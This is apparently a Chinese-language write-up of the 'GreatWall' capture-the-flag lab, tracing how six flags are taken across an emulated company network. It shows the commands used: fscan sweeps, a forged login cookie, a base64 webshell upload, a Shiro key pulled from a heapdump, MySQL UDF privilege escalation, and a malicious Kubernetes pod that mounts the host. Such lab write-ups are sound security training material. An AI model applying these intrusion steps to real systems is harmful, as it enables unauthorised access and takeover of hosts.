渗透
春秋云镜-GreatWall
在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务,然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务,从而控制整个内部网络。靶场中共设置了6个Flag,它们分布在不同的靶机上,您需要找到并获取这些 Flag 作为您的成就目标。
flag01
1 | fscan -h 8.130.145.86 |
直接梭哈了
flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}
一层内网
flag02(172.28.23.26)
./搭代理 扫内网
1 | ./fscan -h 172.28.23.17/24 |
扫出来了挺多东西,总结一下
172.28.23.17 外网(已拿下
172.28.23.26 新翔OA
172.28.23.33 智联科技erp
漏洞好多
172.28.23.26存在ftp匿名登录
172.28.23.33存在heapdump泄露,还是个shiro,估计可以拿到key然后打反序列化。
把源代码拉下来看看。发现这个验证逻辑写了和没写有什么区别。
这样cookie里面存在这五个就可以登录了。比如:id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1
然后web根目录还有一个uploadbase64.php,只要满足格式就可以上传,没有对内容进行检验。
比如说这种:data:image/php;base64,[base64]
那我们直接传个马上去
1 | POST /uploadbase64.php |
但是有disable_function
直接用蚁剑插件绕过就好了。
这个一直不是很明白,有的时候报成功了,但是不会弹出新的终端,我的经验是执行后弹出新的蚁剑虚拟终端那就尝试执行命令,有回显就是成功了。我这里的插件模式用的是PHP 7.0-8.0 disable_functions bypass [user_filter],不是图片里面的那个。
有的时候命令执行没有回显,多执行两次试试
flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}
flag03(172.28.23.33)
访问这个http://172.28.23.33:8080/actuator/heapdump,
用jddump拿一下信息。
记得选GCM模式,key:AZYyIgMYhG6/CzIJlvpR2g==
成功连接。在home目录发现一个文件
是个pwn题,直接抄网上的脚本了。
1 | from pwn import * |
flag03: flag{6a326f94-6526-4586-8233-152d137281fd}
二层内网
flag05(172.22.14.46)
OA这台机器有张172.22.14.6的网卡
扫一下。
1 | 172.22.14.46:80 open |
总结
172.22.14.6 已拿下
172.22.14.37 K8S
172.22.14.46 Harbor
这里内网应该没做隔离,所以没有必要做二层代理其实。存在harbor未授权
1 | proxychains python3 harbor.py http://172.22.14.46/ --dump harbor/secret -v2 |
翻到flag5
flag05: flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}
flag06(172.22.10.28)
shiro机器还有一张网卡。
扫一下
1 | 172.22.10.28:80 open |
再总结一下
172.22.10.16 已拿下
172.22.10.28 DooTask
再看到刚刚的harbor机器
1 | proxychains python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2 |
可以拿到一个jar包
拿到数据库账号密码,尝试使用mdut直接udf提权,失败了。手动打一下
查看有无写入权限。若secure_file_priv为空这可以写入文件。
1 | show global variables like '%secure%'; |
查看插件位置(这一步是为了确定文件写入位置
1 | show variables like 'plugin%'; |
查看操作系统版本
1 | select @@version_compile_os, @@version_compile_machine; |
根据版本选择写入文件。
1 | SELECT hex数据 INTO DUMPFILE '插件位置'; |
创建函数
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; |
最后执行命令
1 | select sys_eval('whoami') |
flag06: flag{413ac6ad-1d50-47cb-9cf3-17354b751741}
flag04(172.22.14.37)
浅析K8S各种未授权攻击方法 - 火线 Zone-安全攻防社区
扫描一下端口
1 | ./fscan -h 172.22.14.37 -p 1-65535 |
10250打不了。看6443端口未授权。
但是kubectl是go编译的工具,走不了proxychains的代理。看看曾哥的博客,把虚拟机的流量代理出来就行
这里应该先看看镜像版本再写恶意yaml的,我懒得弄了。
1 | kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-58d48b746d-d6x8t |
evil.yaml
1 | apiVersion: apps/v1 |
创建pod,账号密码随便填就行
1 | ./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml |
查看pod
1 | ./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods |
1 | ./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-ht8xs -- /bin/bash |
成功进入容器。mnt挂载了宿主机的目录。直接进去找flag
在mysql里的历史记录找到flag。这里也可以写公钥,然后ssh连上宿主机。
参考文章